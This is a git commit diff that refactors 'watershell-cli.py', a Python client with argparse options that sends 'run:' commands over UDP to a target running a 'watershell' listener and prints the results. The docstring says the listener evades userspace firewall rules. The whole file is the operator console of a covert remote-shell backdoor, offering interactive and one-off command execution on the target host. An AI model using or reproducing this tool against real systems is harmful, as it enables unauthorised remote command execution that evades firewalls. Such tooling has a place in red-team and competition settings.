refactor and add argparse definitions

watershell-cli.py

@@ -1,58 +1,131 @@
-import socket, time, sys
+#!/usr/bin/env python3
 
+"""
+Watershell client; a script to easily send commands over UDP to a host running
+the watershell listening binary. The watershell will be listening for UDP data
+on a lower level of the network stack to bypass userspace firewall rules.
+"""
 
-def recv_timeout(the_socket,timeout=2):
-    #make socket non blocking
+import argparse
+import socket
+import time
+import sys
+
+def recv_timeout(the_socket, timeout=4):
+    """
+    Attempt to listen for data until the specified timeout is reached.
+
+    Returns:
+        str - Data received over socket
+    """
+    # make socket non blocking
     the_socket.setblocking(0)
-    
-    #total data partwise in an array
-    total_data=[];
-    data='';
-    
-    #beginning time
-    begin=time.time()
-    while 1:
-        #if you got some data, then break after timeout
+
+    # total data partwise in an array
+    total_data = []
+    data = ''
+
+    # beginning time
+    begin = time.time()
+    while True:
+        # if you got some data, then break after timeout
         if total_data and time.time()-begin > timeout:
             break
-        
-        #if you got no data at all, wait a little longer, twice the timeout
-        elif time.time()-begin > timeout*2:
+
+        # if weve waited longer than the timeout, break
+        elif time.time()-begin > timeout:
             break
-        
-        #recv something
+
+        # recv something
         try:
             data = the_socket.recv(8192)
             if data:
                 total_data.append(data.decode())
-                #change the beginning time for measurement
-                begin=time.time()
+                # change the beginning time for measurement
+                begin = time.time()
             else:
-                #sleep for sometime to indicate a gap
+                # sleep for sometime to indicate a gap
                 time.sleep(0.1)
-        except:
+        except BaseException as exc:
             pass
-    
-    #join all parts to make final string
+
+    # join all parts to make final string
     return ''.join(total_data)
 
-if __name__ == '__main__':
-    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-    s.bind(("", 53316))
-    box = (sys.argv[1], int(sys.argv[2]))
-    print("Connecting to Watershell on {}...".format(box))
-    s.sendto(b'status:', box)
-    resp = recv_timeout(s, 1)
-    if resp == "up":
-        print("Connected!")
-    else:
-        print("Connection Failed...")
-        sys.exit(1)
+def declare_args():
+    """
+    Function to declare arguments that are acceptable to watershel-cli.py
+    """
+    parser = argparse.ArgumentParser(
+        description="Watershell client to send command to host with watershell listening over UDP.")
+    parser.add_argument(
+        '-t', '--target',
+        dest='target',
+        type=str,
+        required=True,
+        help="IP of the target to send UDP message to.")
+
+    parser.add_argument(
+        '-p', '--port',
+        dest='port',
+        type=int,
+        default=52,
+        help="Port to send UDP message to.")
+    parser.add_argument(
+        '-c', '--command',
+        dest='command',
+        type=str,
+        help="One off command to send to listening watershell target")
+    parser.add_argument(
+        '-i', '--interactive',
+        dest='interactive',
+        action='store_true',
+        default=False,
+        help="Interactively send commands to watershell target")
+
+    return parser
+
+def execute_cmd_prompt(sock, target):
+    """
+    Interactively prompt user for commands and execute them
+    """
     while True:
         cmd = input("//\\\\watershell//\\\\>> ")
         if cmd == 'exit':
             break
         if len(cmd) > 1:
-            s.sendto(("run:"+cmd).encode(), box)
-            resp = recv_timeout(s, 2)
+            sock.sendto(("run:"+cmd).encode(), target)
+            resp = recv_timeout(sock, 4)
             print(resp)
+
+def main():
+    """
+    Entry point to watershell-cli.py. Parse arguments supplied by user,
+    grab the status of the watershell target and then issue commands.
+    """
+    args = declare_args().parse_args()
+
+    # Bind source port to send UDP message from
+    s_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    s_socket.bind(("0.0.0.0", 53316))
+
+    target = (args.target, args.port)
+    print("Connecting to Watershell on {}...".format(target))
+    s_socket.sendto(b'status:', target)
+
+    resp = recv_timeout(s_socket, 2)
+    if resp == "up":
+        print("Connected!")
+    else:
+        print("Connection Failed...")
+        sys.exit(1)
+
+    if args.interactive:
+        execute_cmd_prompt(s_socket, target)
+    else:
+        s_socket.sendto(("run:{}".format(args.command)).encode(), target)
+        resp = recv_timeout(s_socket, 4)
+        print(resp)
+
+if __name__ == '__main__':
+    main()